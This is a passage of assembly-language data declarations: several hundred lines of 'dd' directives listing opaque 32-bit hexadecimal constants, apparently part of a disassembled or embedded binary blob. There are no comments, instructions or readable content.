		dd 0FE972BD0h, 0B096002Fh, 0AE805403h, 0BC00A1DCh, 4010A625h
		dd 0B97FD46h, 0EEB9A04Ah, 5519C000h, 6500761Ch,	0F27961CFh
		dd 0ED5228h, 0D559AF5Dh, 369B90BEh, 0E850A00h, 1A84C5D6h
		dd 9AFC89h, 0F88819B2h,	67D162C9h, 30931701h, 268A21B4h
		dd 1970ECCh, 79AAEC47h,	963977C0h, 0A0E82E8h, 0D6E6A0FDh
		dd 24E4C7AFh, 1E9D3Bh, 0B4625AC5h, 0DC0729B2h, 5D4277BEh
		dd 1EE885D0h, 0E55002Ch, 0D82FB698h, 0F2007E56h, 37BE9016h
		dd 7559CFh, 0A89618EFh,	0E2733D05h, 191DE773h, 0D0801404h
		dd 2E8EF2D6h, 0C2BE1CD1h, 0D262438Fh, 51A2DE53h, 1E013D60h
		dd 0BCBD9300h, 32A1EDB2h, 9E2C008Fh, 0C191B69Ah, 700CDB3h
		dd 0A8BB837h, 0E728225h, 0D942F10Ch, 4CD255E0h,	140333C2h
		dd 3DE7F779h, 0A1A590ECh, 60F00E4h, 9DDDDCDEh, 90008C82h
		dd 9B1568A7h, 28E2CEB8h, 0E390AAE4h, 220D8h, 2A081DB7h
		dd 976FF949h, 8400C0FEh, 34352CD6h, 78C77Ah, 87C3CA38h
		dd 0BFF95FB2h, 4CD8D309h, 0DB1C005Bh, 4DC8EDh, 0AFD2815Ch
		dd 506C1A64h, 0C991DC00h, 0F4CBC38h, 708074D3h,	615AE010h
		dd 5FF456D4h, 30C02006h, 2EA17303h, 0B83F49E7h,	5AE866h
		dd 0F3B9B637h, 55AED129h, 0BB38081Fh, 0E2BFE900h, 78630F5h
		dd 0F14C7E61h, 849630EDh, 0A2076BF6h, 31CFFAAh,	0C81478D0h
		dd 5C3D0018h, 761BDE97h, 3001288Bh, 0EAD6C9D0h,	88407770h
		dd 1290F3h, 0E1A465F4h,	509AE5AFh, 99044B00h, 27F3D4F6h
		dd 1ECE2424h, 0D6DE0B18h, 1D9C0C8Ah, 0F0FD0F2Ch, 4E8FD740h
		dd 8A00AA36h, 9364C60Ah, 7470D41h, 0EDB0D060h, 9F9A5083h
		dd 2C00204Ah, 6EE8E4DCh, 3214D8Ah, 47D1F159h, 248AEA26h
		dd 0FE091840h, 0F8E4970h, 0A47BB34h, 0E2957E42h, 971DDC48h
		dd 809FCF00h, 674CD312h, 0CEF400AEh, 0FA966B33h, 560EB717h
		dd 0A04D45AFh, 0B07AD1CCh, 557E5Ah, 8CCE1980h, 8DB5338Bh
		dd 32833414h, 80203C98h, 71E144D7h, 1DDFFDB0h, 5D7E1852h
		dd 5680FC0Ch, 4C365DC8h, 20ED0EA0h, 16011117h, 471A22BEh
		dd 27F82C19h, 4D4E009Bh, 883A57E7h, 4601932Dh, 2B6EBFB5h
		dd 69D80E3Bh, 8E45Fh, 0EE4370D6h, 968218D2h, 0EBC958h
		dd 84311455h, 45E628h, 0D3CA223Ch, 2A601EDh, 1798387Fh
		dd 2DF7095h, 8C6BE66Eh,	0B8601C70h, 2891C262h, 3CC97500h
		dd 0B478F0h, 28179D76h,	12D364ADh, 59007976h, 2E982451h
		dd 0AE264Fh, 335D58A7h,	0BE2D4DEAh, 0E89053Fh, 60B1C79Eh
		dd 0C0E14B81h, 0AFFA00F3h, 0F96AEBD8h, 53003ED6h, 35641D45h
		dd 0B8BE07A6h, 59DC8056h, 90DC0F47h, 0D2804D5Fh, 0C41941B2h
		dd 7732CA04h, 0A5BCA274h, 4A2C3300h, 0E12067C8h, 0E3EBB302h
		dd 800A1D3Fh, 0D1BDFA8h, 12750AA3h, 0ECBEAFh, 8D418AFDh
		dd 0AB001610h, 54C1E59Ah, 382943CCh, 0FF813E80h, 2B20CB9Dh
		dd 6AF1E077h, 0AC19B0Ch, 76071122h, 0AFED0073h,	95E43B8Ah
		dd 70C0CED1h, 0CF103358h, 669E12FDh, 0D97C4060h, 90A50DF5h
		dd 179AC201h, 679E0534h, 0FCC71040h, 81B1C70Dh,	87AC0338h
		dd 417A07FFh, 4329C752h, 0D59F10h, 62B3CD1Ch, 0CC743407h
		dd 7E51A900h, 0D87F026h, 6A1500E7h, 0B1B3D68h, 1C0044BEh
		dd 103B5AB1h, 0D23D9h, 0E99DBF4h, 62EBCF2Ch, 59B4A835h
		dd 1A009A12h, 103DFEB1h, 43691485h, 620EB02Fh, 204340Bh
		dd 271E0530h, 0E34848h,	6AD29414h, 0C8C0CAA5h, 48EB81A6h
		dd 380600C6h, 0DCD4B99h, 5B006482h, 0E2524AA8h,	3D1B0B43h
		dd 6B07E46Ah, 0F4C1DDh,	0A56D36E7h, 56617190h, 0E4A78B18h
		dd 0F8266A20h, 0C9471EFh, 5E346543h, 3186E20h, 0A590E061h
		dd 30A6FCEEh, 0A930DE1Bh, 7404B976h, 0B67A624Dh, 0C418CAC6h
		dd 293740h, 64CF8B79h, 66183C0Eh, 83BF8D0Fh, 0CE4C0690h
		dd 7AF95982h, 63A802D9h, 2F85256h, 5C85D0A3h, 4DF42118h
		dd 60154389h, 21905130h, 0D73038AAh, 7DB7D161h,	26A5039Ah
		dd 33A7CF59h, 0CDEE410Fh, 0E02DA3C5h, 487CD8h, 0B50D395Fh
		dd 0A57DAC64h, 25430A1Fh, 34245C01h, 1CC1B188h,	71096098h
		dd 0AC007D96h, 45B4F5A8h, 0EE5E69h, 3C21E684h, 0C39B1EC9h
		dd 1F0043F8h, 5BC6A16Bh, 50FCBA91h, 264CC15h, 712523C4h
		dd 0D640E546h, 0FE736950h, 68004F77h, 633449C2h, 2C7072CDh
		dd 761D56Bh, 20269182h,	4707E2CBh, 50D28C07h, 0A7515890h
		dd 0EBC4456Bh, 335C1C3Bh, 2F7C06Dh, 0F863E053h,	986959h
		dd 77DB661Dh, 60E9A9h, 0CC049571h, 80B8E4BDh, 8FA0EC4Bh
		dd 32CE6AAh, 0C2BBB42Dh, 7EFA5F59h, 494A0AFh, 0DAA70AFAh
		dd 0D94F452h, 0AF260FC6h, 7C02B247h, 80CE2577h,	5EC3A7C0h
		dd 3790CD1h, 432975E5h,	0CD712284h, 440808F3h, 0DC442F7Ch
		dd 0DBEB44E0h, 0BFF84D89h, 0B19E2C93h, 7D57005Bh, 27BB83B7h
		dd 6D940800h, 4189B573h, 5C76001Fh, 5C4E8EFh, 827BBE45h
		dd 0BDFB0200h, 0D9A82E1Ch, 26220088h, 5E7A1467h, 0DC00537Fh
		dd 5156DFFCh, 7E3EF0h, 0ECD03AC0h, 0D817B937h, 184FCA00h
		dd 7560E8DEh, 1D040A43h, 0F16110h, 0F2EA08AFh, 0DE009FEBh
		dd 0B3442AD8h, 462736h,	37EF7D5Eh, 82ACDBEDh, 420F3F1Eh
		dd 1318051Eh, 0DAF469h,	11E6CE6Ch, 0B8E0A850h, 4459DF00h
		dd 0C07D6792h, 3ED0120h, 5B04F2FAh, 0F551F4C8h,	3AF45900h
		dd 0E9FBFD66h, 0D9420EAh
		dd 92B8C706h, 5E0076Fh,	0DA29648Eh, 0D143C075h,	1907F5ACh
		dd 0CF2D5F0h, 2B22C0CFh, 6DB01Ch, 0A19C5505h, 0C013ADAEh
		dd 0D300EF7Eh, 5FED5D4Fh, 0E5DF44h, 77C9099Ch, 0BAB9F721h
		dd 8017B43Eh, 2B99D167h, 601F9Dh, 87225BF3h, 0D32C91Dh
		dd 9EA0B00h, 749AB514h,	979600F5h, 9F7F2127h, 3209F606h
		dd 0F8406899h, 0DF031E2Eh, 8A43006Fh, 14D935BCh, 2A103600h
		dd 0B1F69C2Dh, 1FBAFE1Eh, 80F7D396h, 56D2AA50h,	0A00AD48h
		dd 5365979h, 7A1EC5h, 16DDC1B7h, 3DED6A02h, 0C2279E03h
		dd 0A8333909h, 5C6C542Ah, 0B8008A97h, 0B471C8DAh, 4C0A5E07h
		dd 0A8388D53h, 32DD4403h, 75C8C8DCh, 3B97E0A9h,	2338D5DEh
		dd 2D8B9580h, 8618114Dh, 8500B3F2h, 0ED50D44Ch,	0B57116h
		dd 59FA8DBBh, 0A2BCE755h, 27E0CE4Eh, 5D6D00EBh,	0A0797DD9h
		dd 0AB3ED557h, 2E00F81Eh, 0D40FE273h, 666DE7h, 0D69E312h
		dd 54DCF1CBh, 0C93938h,	0E2B04341h, 2A05C5h, 0FF6F4A37h
		dd 53FA44B2h, 0B5979800h, 43FDC7B1h, 156A0160h,	2F063CC4h
		dd 2E45E031h, 5F2A6F00h, 6E1D3DEAh, 0E202004Ch,	0B7E66661h
		dd 0EF009BB4h, 5234CAF9h, 773D426h, 68482088h, 0A9F1E0D6h
		dd 0AB24C17Ah, 0DC009CE0h, 862A01CBh, 0F44F0088h, 320994B2h
		dd 42007EFEh, 0FCDDDEBh, 0CA2C5Ch, 0E36E58D7h, 4B3DB9A1h
		dd 5B006B72h, 80C641FEh, 848B32h, 3127FCBh, 0E6CFE1DBh
		dd 4201C492h, 9F3BCABDh, 0D055801Fh, 0F84EB380h, 956C001Bh
		dd 0DAD067F5h, 550004E5h, 48DF897Fh, 0CFC24Fh, 32741FC5h
		dd 2D34B546h, 0BC9B5017h, 100003ECh, 0D41B2C53h, 917D462Fh
		dd 0F4008577h, 4B0E8B26h, 78C4ACFh, 302B3C7Eh, 0BB4CBEC3h
		dd 3E00219Eh, 86FAC787h, 73B8DFDEh, 0A3F005Eh, 0CAC9D5E8h
		dd 2A1CF281h, 0CBC00745h, 487A9237h, 0B7892B8h,	0D727E4ABh
		dd 0BDE36C00h, 0F0F7C98h, 0A32B635Fh, 8036791Eh, 3A46F2h
		dd 0A2175DCEh, 0BAE18E9Bh, 1C4AE200h, 0D99D8D29h, 693004E3h
		dd 80EDC9F0h, 2FA7B578h, 26AF018Ch, 0A8980BF7h,	1C7D09Ah
		dd 7B8ECE00h, 612E6AEAh, 97F028F9h, 0C8472ACh, 4B31E098h
		dd 0F400E6A8h, 201E7327h, 9ABA29D1h, 81700838h,	3BB95AA5h
		dd 3AEC0196h, 8F4EEA47h, 7FFFF8h, 56584160h, 0C762EDA1h
		dd 9636F104h, 0A9C0C6C8h, 1C338h, 0D63F55A6h, 3CD84A8Dh
		dd 0AB099879h, 10E606h,	1FE5F896h, 0CE8F00EDh, 0CB18DA15h
		dd 0D900B66Eh, 0F73BE42Ah, 0B21D37h, 2CC7106h, 0CFB9A9F6h
		dd 9E4C2206h, 41E0EABh,	8F4A6E5Eh, 0C85C83E2h, 893EF800h
		dd 5788EA74h, 0F7EA42h,	6E0D78B1h, 0F17A44E2h, 839E2F1Fh
		dd 0CE688A40h, 6A935h, 0D277A7D7h, 3D4CE272h, 6724927Eh
		dd 0B5845C8Eh, 702C93E3h, 0EC2A3F40h, 777E5Dh, 235FC0E3h
		dd 0F5617EE0h, 72C46900h, 1D71C30Bh, 0C9900C2h,	0DDE5AB8Ah
		dd 0E700C9E1h, 0DB3F5711h, 73937BFh, 0F7F284EBh, 2F080C2h
		dd 9C3CB7B6h, 0E4FE260Ah, 764D4400h, 3D33F9Fh, 5CECBA58h
		dd 88E13156h, 0E4A8D864h, 6BDFB502h, 0C44BAAC2h, 5E510080h
		dd 0E5A51158h, 7F00B267h, 0DACD7472h, 0E25AFh, 8A1BC8C9h
		dd 0E047CAFEh, 5E53B000h, 52147EECh, 1E3000FFh,	0D684B4F2h
		dd 0F139926Bh, 0F2580DAh, 89343FCFh, 28838AEh, 40E8689Dh
		dd 0D55E0863h, 0B00ECE1h, 70D89B12h, 571ACEh, 0FB07DFF5h
		dd 43E56F42h, 9EE49A00h, 0AD97DA04h, 0B079003Ch, 9DEC0125h
		dd 94002E27h, 0DA5615E3h, 3CD2F21h, 0A31ED8F9h,	0C1D0244Bh
		dd 0B20396E4h, 996C613Ch, 2503D869h, 5DFE89h, 7F128CBDh
		dd 2E0748E3h, 7DCA342Ch, 0D5D3B200h, 75B68EAh, 0F2B7CDEDh
		dd 0DF3E9073h, 0CF03F87Eh, 996B80BFh, 8228A9FEh, 0BA000873h
		dd 23B5B2Dh, 5E505010h,	430016C0h, 0A451E6DEh, 901FE92Bh
		dd 4001591Ch, 911EA30h,	620050A6h, 4FFF3F13h, 115AC11h
		dd 1C69530Bh, 9410573Ah, 0A7D828h, 55843B20h, 0C0CF5A61h
		dd 92DEEF7Ch, 5000FEECh, 0FFC6F8F5h, 2EB88671h,	809C8498h
		dd 3CFA08A9h, 0BBF60663h, 0F5839300h, 177A6E3Fh, 7F18786Ah
		dd 3ACD0E94h, 7D4066E2h, 0FA0D80F8h, 0D59FBA00h, 0DD26721Eh
		dd 3F8B147Fh, 5603D8CDh, 9E0A11BFh, 0D093D4D8h,	87C2609Fh
		dd 15530F97h, 0E1A09828h, 0A59C5EFDh, 731BE800h, 9BE2BD2Fh
		dd 0E7D179Eh, 0BC604066h, 3B2E7CD5h, 0A34684Ch,	0B05E95B2h
		dd 0ABBF8349h, 0D7E6E0A4h, 7F380378h, 76904B3Ah, 8A200398h
		dd 0BF8951Fh, 503835Fh,	0C8A799FEh, 7DA1429h, 9B885387h
		dd 9860C067h, 4E3F4A10h, 7F9A01F1h, 3BE102C3h, 38718BDCh
		dd 3400A1B6h, 0D96E8CAEh, 0A2007836h, 7A06C7EAh, 0ECF4211Ah
		dd 0BA0A005Dh, 5894C454h, 751FB6E4h, 0F0004E8Dh, 0C96FA053h
		dd 795E008Bh, 0FFBCAC28h, 0AA074AE7h, 0DE5CBDC4h, 1944D1B0h
		dd 2438FA5Ah, 9CF96Ah, 0D6E94E32h, 0A1267F71h, 0DF1ECC5Eh
		dd 9EC36600h, 0EC0822h,	1FBE2A9Ah, 697589AAh, 0AC47A92Ch
		dd 0D0709300h, 9DA9B36h, 85908BBBh, 2C965C81h, 0CC11ACBAh
		dd 9F40821Ch, 418ECB7Fh, 544AE08Dh, 6034E855h, 745108D9h
		dd 2C1D2AE3h, 461DEC8Dh, 97D60205h, 17E1003h, 0C9A10145h
		dd 0CFACB985h, 0D073D17Dh, 22507E76h, 9E54D710h, 0E28CEB2Ch
		dd 6FFC3D1Ah, 65D77981h, 0C0BE19B9h, 0A8F0A72Ch, 0C88EB600h
		dd 636926F2h, 0C3760755h, 43D9D52Ah, 79882E4Ah,	0E00329CDh
		dd 2158D01Eh, 8C1803C2h, 0F8D85EA3h, 0BC6D6E90h, 6431AC01h
		dd 95D7ABB9h, 931C4840h, 7E2F142Ah, 0EF005823h,	31D1F164h
		dd 471EEE13h, 0DDC028CBh, 0FF1C8C45h, 4DC9000Dh, 80D225C4h
		dd 0C80095BDh, 0C5889415h, 3DA1501Bh, 0BA6082EEh, 99E6B339h
		dd 0F7AD3C00h, 797D304Ah, 509FECFEh, 0BA9DF8h, 7A0D175Fh
		dd 0E0B65942h, 2245CF00h, 0F013D9Ch, 80D500A9h,	7C897B39h
		dd 0A7744F06h, 7EA5C60Ah, 0F487DC88h, 0BA40B1C4h, 389C2Eh
		dd 72B4EF97h, 8768D13Bh, 0D525E306h, 2314CC1h, 63F675EBh
		dd 0B48233C4h, 1460669Bh, 203F7E52h, 0DFF40E14h, 9CC0D26Eh
		dd 54F9952Fh, 0FC649094h, 8C73F98h, 7F21B381h, 0DC044469h
		dd 0CD005D8Bh, 7602640Bh, 0B0B7AED7h, 4EA306B7h, 814AC0CEh
		dd 9D46F139h, 809E067Dh, 1F7E9C40h, 71D8A039h, 1EC13CD7h
		dd 1666340Fh, 0F502D414h, 0E7C0F3E5h, 1CEE7D60h, 3D0075B0h
		dd 3C6EF775h, 1CD7977Ah, 0BF30D92h, 0D95C2570h,	405A4B00h
		dd 31ADFED2h, 708185EFh, 47B0FBA5h, 0EB003C18h,	15A2C752h
		dd 3543E2Bh, 0AA31AB05h, 0F8904375h, 1C00CF24h,	0BED7329Ah
		dd 4A2FFECh, 9FD60B4Ch,	0C2490FEh, 5260E764h, 168FDC60h
		dd 0B84660C9h, 0CF53E078h, 3289C601h, 0CB4044EEh, 16518980h
		dd 1CA1316Eh, 0B268731Fh, 0F8F259C0h, 0E9042BFh, 55DF18FFh
		dd 0B069A380h, 0DC3B03AEh, 0FA578666h, 8F11E6E5h, 56BF6104h
		dd 6E1080D0h, 0CFAE6048h, 6F180084h, 0B18D03B3h, 0B2004F59h
		dd 0D6FDECBFh, 64E36DC1h, 47142962h, 8A804B25h,	0D5A61Dh
		dd 0C7930A10h, 0FE591462h, 9AD93107h, 7A08CB9h,	7E9F77h
		dd 49C9838Fh, 6FBC6B61h, 4F452A03h, 0C0E7DE48h,	65F363h
		dd 57D1C251h, 7FD8950Ah, 147E2C26h, 0D6F2D900h,	2C73F01Ch
		dd 7CE929Ch, 2075D587h,	57F69DABh, 4C856D0Ch, 0D3307Fh
		dd 16241254h, 0EEF7AB40h, 0E532F800h, 4DA2202Eh, 0C788A8A9h
		dd 53424ACh, 0ADF800A3h
		dd 0DFDEEA9Bh, 0DC263300h, 863FB912h, 0FFBA1CC8h, 801BC027h
		dd 0E80D4B7Fh, 5A482C00h, 0BB34DB7h, 8AC3005Bh,	429F3239h
		dd 7C0006E6h, 0A5D865A0h, 30030728h, 1811AF0Ch,	1473F8F7h
		dd 6E002070h, 0F0CCD2E9h, 0A3B0D9h, 9A11E267h, 0C2F25DBDh
		dd 69543403h, 98ABF4FFh, 5C35B5FEh, 680017DFh, 63DC464Ch
		dd 210EC081h, 20D3EB0Ch, 6EC47A37h, 75360042h, 1112C9E7h
		dd 0E000553Bh, 3E5170Fh, 0F0EB4Ch, 6C47BCF3h, 0E7332C87h
		dd 4EB44B07h, 35D0F89Dh, 1C6DC5A9h, 803F1718h, 62F0A36Eh
		dd 34030A47h, 58E60514h, 9C87F0E8h, 4FED2803h, 0F73118E0h
		dd 0E7D25661h, 0FBB889FAh, 5958BF00h, 878C769Dh, 0A78D00A3h
		dd 92D87119h, 0F4003F63h, 0E0B949E6h, 0DCADB6h,	0EFDA3D0Ah
		dd 1ED8A37h, 1ED0091Dh,	0A50DF902h, 8CE080E5h, 9776B7h
		dd 0B96C035Bh, 7FAEAF74h, 1CE23339h, 0AC41A58Dh, 0EBBF9D5h
		dd 58005022h, 2406BAFFh, 0FA0095B9h, 18DBB863h,	74016927h
		dd 31F8BD2Fh, 0F7E41650h, 0A2A51400h, 7BF7453h,	0DD390F2Ch
		dd 465F4A5Eh, 0B8E7DFEDh, 44CC5900h, 8371C91Bh,	0A8410165h
		dd 3220EA94h, 268C4064h, 5600F3A6h, 0EF73F70Eh,	482C9FA2h
		dd 950B44D4h, 4B00D991h, 1B1D0B60h, 8B4B350Eh, 8AB40045h
		dd 166F80Eh, 0E4D333F6h, 0CC506F87h, 62035772h,	38E08B5Ah
		dd 2BBDF0ABh, 0F0AE243Bh, 9DD5007Ch, 1970F664h,	8853B780h
		dd 0D0A449BDh, 42C658h,	8D2193BFh, 694A041h, 0F2B70E44h
		dd 990748F4h, 4AD59575h, 0B0D3E260h, 1C4726DFh,	3DFD00ADh
		dd 0A17B5010h, 0DC002C90h, 9992B91Dh, 26218D9Eh, 0F76184h
		dd 35A649D2h, 0A8040624h, 37501A2Fh, 0ED7DC880h, 9BFE006Ch
		dd 0C5D2695h, 0F8007928h, 0EC52DEB1h, 582D73h, 0E033FE7Ah
		dd 530BE787h, 9E0A1C3Dh, 0CF404FB5h, 0BFA3399Bh, 0E30139DCh
		dd 68D59400h, 0B083C636h, 224CBCF8h, 37DA0057h,	1F03A4CCh
		dd 4AD200ADh, 939843E1h, 0CA1DB28Dh, 0E7C552ABh, 9400D5F3h
		dd 1CE4EE2Eh, 0A2E90080h, 7C26C6B4h, 0AF5E68F4h, 89009085h
		dd 0CA190E1Eh, 8CC90060h, 0C79F91D6h, 0E60033DCh, 929E8B87h
		dd 0F47BC8h, 4895F3FDh,	7EBA13B9h, 0EBF93000h, 75C19327h
		dd 907224CBh, 0D7A58B04h, 9C40F180h, 0CD0788D3h, 8C15FBC2h
		dd 95891E40h, 5BEA3AA4h, 0B2BFA200h, 734ECA64h,	0D8B61A0Fh
		dd 0E5282070h, 128239AEh, 0FF2B90Ah, 1940ACF0h,	4037A927h
		dd 15B4BD00h, 796AE3CDh, 0ED293EA8h, 41A1F689h,	48937400h
		dd 0D800CD01h, 7C49831Ah, 2127EE8h, 0D63C21DBh,	28486FCCh
		dd 498448F0h, 5400F89Dh, 0D1C80935h, 8700A286h,	0B6CF136Dh
		dd 0F8271EFh, 8E586A52h, 0B5BB4660h, 0F1009936h, 0FD19BDA9h
		dd 743C2B61h, 24D558B7h, 108E007Fh, 56A8BAF6h, 0E0BF40C8h
		dd 0B51D17Fh, 0DAAA682h, 0A9156C80h, 671CF0C0h,	24C175AEh
		dd 28E15E59h, 0F8931DE0h, 5BFC9Dh, 0C1CC8F57h, 0E2DD3D87h
		dd 45AEEC00h, 9EE46F51h, 282202B8h, 0E7F5555Ah,	50F99CC8h
		dd 8B917C09h, 62FE03F8h, 84AE0043h, 65078F63h, 1E077555h
		dd 0B4A7044Fh, 24A5321h, 3AE660E2h, 545928ACh, 0F44C9008h
		dd 63860356h, 67975D03h, 0B6A75CB0h, 2A41648h, 52C9B92Fh
		dd 305160B8h, 4DEB028Fh, 0D83F4EE9h, 15BE8C8h, 7199B501h
		dd 0B99F7847h, 0FCD0A5D1h, 92157165h, 4950BC8h,	670333D0h
		dd 40D7668Fh, 9244487Bh, 0AB67C916h, 18F1D40Ah,	1863EA00h
		dd 0D09958Fh, 0BACD54E7h, 6B618018h, 9866CE5Ah,	7D8907FAh
		dd 2911E7D9h, 0F96E0420h, 28004E15h, 4063628Fh,	7A4DE490h
		dd 0D9D4310Eh, 41AE65B9h, 80AA3374h, 0CF5F0698h, 1EF2DC0Dh
		dd 8061A535h, 18B76B4Ah, 0DD0090DAh, 0D7203C86h, 2EA7EBh
		dd 87E86C1Ah, 7149E5CBh, 0EE77CF00h, 0CEEBC24Ch, 0AF1E00F4h
		dd 13700127h, 1B009945h, 0E7C645Fh, 17EFF5h, 67E3A4A1h
		dd 852468Fh, 93EE1F00h,	185CDA9Ch, 0E770FD32h, 33DE0074h
		dd 0CD49B81Ch, 0C756041h, 387C9CA0h, 1B8BF300h,	7A2380EBh
		dd 614C0F07h, 5FFCF9B5h, 0FC608EC5h, 480E18C2h,	0D2C8B087h
		dd 2840EED0h, 7F126786h, 3043B084h, 501B61BCh, 1DE72CD6h
		dd 29BA5B55h, 0E9730094h, 25CE6E1Bh, 134FEF00h,	0C3996328h
		dd 0D58C5A9h, 5CE04012h, 0E2CE182h, 28F69516h, 0CC78AC03h
		dd 0C9881001h, 66DC1037h, 7EC15688h, 5BFC8B1Bh,	0B74486BAh
		dd 1BFA9Ch, 0CB46A164h,	2E8DA8A5h, 6495D00h, 0C1B240D8h
		dd 18087320h, 2CEACFABh, 6501241Dh, 427A9E0Eh, 2882DBDEh
		dd 0D580E50Ch, 0C6003C44h, 9F7BA771h, 6AF3031h,	0B0478AE7h
		dd 5B0721AAh, 0D5EA779h, 40C6488Ch, 253DED78h, 0F0380086h
		dd 45CF2A0Eh, 0BC5F000Ah, 0F8BCB2Ch, 0D048DFAAh, 47DE00B2h
		dd 0DCD5BD24h, 8699004Dh, 91301A9Dh, 405870F9h,	9660743Ch
		dd 9D078021h, 727CC1h, 67B3F2ABh, 0E3926D9Fh, 0B94DDD01h
		dd 890FD1D5h, 51E83186h, 0EB0018DBh, 5F641EF3h,	2E3634A6h
		dd 18B8240h, 3C0ACAD1h,	8A21CCBEh, 0DDDCEF1Eh, 0B94039D8h
		dd 331500B5h, 0D01756A1h, 9CD5E95h, 4CFC2144h, 0FE640033h
		dd 4BCA23B8h, 0CBFC71BEh, 881B4830h, 338E4C42h,	0FCA1D98Dh
		dd 5F01FEE0h, 39751A06h, 8008B257h, 1C31D10h, 7E66FBFEh
		dd 205BF4D1h, 0A90184A7h, 0D3CEE406h, 0E180B997h, 0FEAA4A46h
		dd 0E11FCBDDh, 20F65406h, 6A3E1018h, 1A608DCh, 0FDB820C0h
		dd 9C041318h, 0F7C9301Fh, 4B21E532h, 48C49D84h,	14A56612h
		dd 20CD0CBh, 106E013Bh,	0E63E0365h, 0B2871052h,	5DDA90AFh
		dd 7B0019D4h, 0B01D4455h, 3AE5D54Fh, 723D50C6h,	85D41F80h
		dd 80493682h, 5F004FE8h, 4622737Bh, 0CA39111h, 151B1F02h
		dd 1E607F28h, 0B1ED2631h, 0C6801373h, 0CC6A0314h, 86D80C56h
		dd 2C646D39h, 0E4401131h, 0A7CFFA6Eh, 0EFF0367Bh, 4801BA01h
		dd 0C783229Bh, 18589194h, 28EA201Bh, 817DB01Dh,	0E1A06D1Bh
		dd 10B174F3h, 0D262A730h, 3136992Ah, 0B76544D1h, 1AFED07h
		dd 512F828h, 0E2C37551h, 16646272h, 374018A9h, 5690C2BEh
		dd 68A61136h, 3FEF0719h, 40AD93FEh, 5315ACD1h, 204760CCh
		dd 0E07E1C22h, 31EBD9E9h, 1A8470F3h, 5F03FCF6h,	3E4E232h
		dd 6273B8FEh, 397D4Ch, 1401025Bh, 5CEE4256h, 783650CFh
		dd 0E2E7B9h, 879EE845h,	58960B3Ch, 266E18C3h, 22E9069Ch
		dd 0A8E0C3CDh, 0D8612AF8h, 6AC1D919h, 0DE35498Ch, 0A7744420h
		dd 1D27380h, 847A0EF7h,	489AE120h, 8CF15FA8h, 415236C1h
		dd 4DC400DAh, 33199240h, 7E58AFEFh, 212450F9h, 0DF065CF0h
		dd 0E1B390D8h, 77350E48h, 7881EEBEh, 45C5150h, 117CE863h
		dd 7D9128B1h, 14DC6354h, 6AB44Ch, 752AC49Eh, 60565E9Fh
		dd 36B37166h, 48C08183h, 23FA8E15h, 609F3A69h, 0FE614700h
		dd 2A09C16Eh, 3649120Eh, 0C9664CC9h, 56340133h,	0B8920CCBh
		dd 0CCA053EEh, 84A5F8CEh, 0CA558980h, 9A7F11h, 0DB0DFFEAh
		dd 845C88D6h, 724420C5h, 110F9C41h, 65FC5D8Fh, 7B520462h
		dd 80913B3Eh, 3735F91Ah, 0B2A34B00h, 0AD0121D2h, 60257B95h
		dd 2AC2C98Ch, 46004537h, 0D387A69Eh, 2605D0Eh, 0E3F8EC5Ch
		dd 0D844DF17h, 0A940152h, 0DCAAFC20h, 63505B43h, 0DB881019h
		dd 7ED700E4h, 0CE1D18h,	1427FDBEh, 0B988A60Fh, 2F8920C9h
		dd 1C329228h, 6E3414E5h, 9842592Dh, 0A4CECFB3h,	0D08D93A0h
		dd 4E214888h, 3440A613h
		dd 9BE48FE9h, 0A4CF12CBh, 0F45F5Ch, 92B4CE23h, 59C1ED2Ah
		dd 3C82D201h, 622F46F0h, 0E4D96135h, 2885C892h,	0CF7403AEh
		dd 5124566Ch, 0B030447Ch, 45990A6h, 5C05576Dh, 0F339810Ah
		dd 0D14C24DFh, 0FC86A601h, 533EAC79h, 0F018E456h, 77C90241h
		dd 0A1FD29F6h, 1E03AC90h, 7E400C91h, 7A5159E1h,	22AB03EEh
		dd 54CDB08Fh, 802F9828h, 0AC387C50h, 14806949h,	1E10D413h
		dd 897EA6E5h, 81FFDC5Bh, 0D675E12Ch, 6044E424h,	0CA2E818Eh
		dd 0EF00F738h, 6BBAEAB8h, 3FC64822h, 1B06FA7Fh,	58454D37h
		dd 6497D91Ah, 26AC85A1h, 0A422C44Ah, 8FEFA68Fh,	0C1CFE241h
		dd 0E0C49365h, 3177D10Ah, 20A9B6C6h, 21B033D2h,	9EC89156h
		dd 0D073E013h, 4CCC846Eh, 0DF4B144Ah, 14D28825h, 3A5105Ch
		dd 0E3795A04h, 81ABC9E9h, 0A2A10779h, 0A8A28917h, 6CF34820h
		dd 894D7F86h, 55CEF501h, 0D99C4178h, 0C6CB5DD4h, 5198DBA1h
		dd 39C98879h, 29C5001Dh, 3E7435E1h, 3B805EBCh, 0E36B4DD4h
		dd 0B9241037h, 39940C7Fh, 70A12224h, 60089172h,	0B38BF11Ah
		dd 0B90318E6h, 53721B9Eh, 0D42951A1h, 0B3789408h, 87350628h
		dd 29029983h, 0CE2C5F8Eh, 0A15C40F9h, 0B5680D57h, 107950F6h
		dd 3446829Ch, 39908631h, 74E85059h, 0E26CE261h,	26EABFh
		dd 2443DA78h, 29C3288h,	9AFC960Bh, 0F414108Ah, 36228873h
		dd 1CB66744h, 40EAB902h, 1B5BE8B7h, 8600D491h, 59F36BBEh
		dd 502FE7h, 535C5A8Bh, 4E376EBAh, 0F83408C0h, 1EF2478Ch
		dd 196F7C85h, 10422141h, 11051A6h, 0F805A044h, 0FCA340DBh
		dd 58021D43h, 715DFB79h, 211C816Eh, 48869288h, 78CAA150h
		dd 2A0048F8h, 9026AF2Dh, 3F66DBE7h, 9102F962h, 0B138E9F3h
		dd 995145E1h, 0F0087E39h, 378FD8F0h, 0C060CFACh, 73D2D4F5h
		dd 1400E9FCh, 42ABD5C7h, 31FE39F1h, 28E80DB5h, 24B8A289h
		dd 0F19499C0h, 1139DC04h, 6DA4E0Bh, 599C37EEh, 6C38F830h
		dd 8B8919C8h, 981F6429h, 0B9FF08h, 4D730DCh, 0D5EAF13Fh
		dd 1341BB0Dh, 0F4D7F035h, 94C32D00h, 5400A4ACh,	0CC33D180h
		dd 3F3268Ch, 2CF07117h,	5930D095h, 2D53B108h, 1857FAA1h
		dd 7847B0D1h, 0C63DCD5h, 7C5AD21h, 8B2115D9h, 2FC7D00Fh
		dd 0EE705AF0h, 5E84B511h, 609C6E28h, 5BB2C983h,	0C1053F48h
		dd 0BB13ABB9h, 518D413h, 6F5E8B51h, 8A86E959h, 0A13019BBh
		dd 0A38D51F3h, 529C31F9h, 8576031h, 5AD14489h, 54A1E740h
		dd 888438h, 96DD0EEAh, 3BB907D4h, 0B5014FE0h, 0E0E1B60Ah
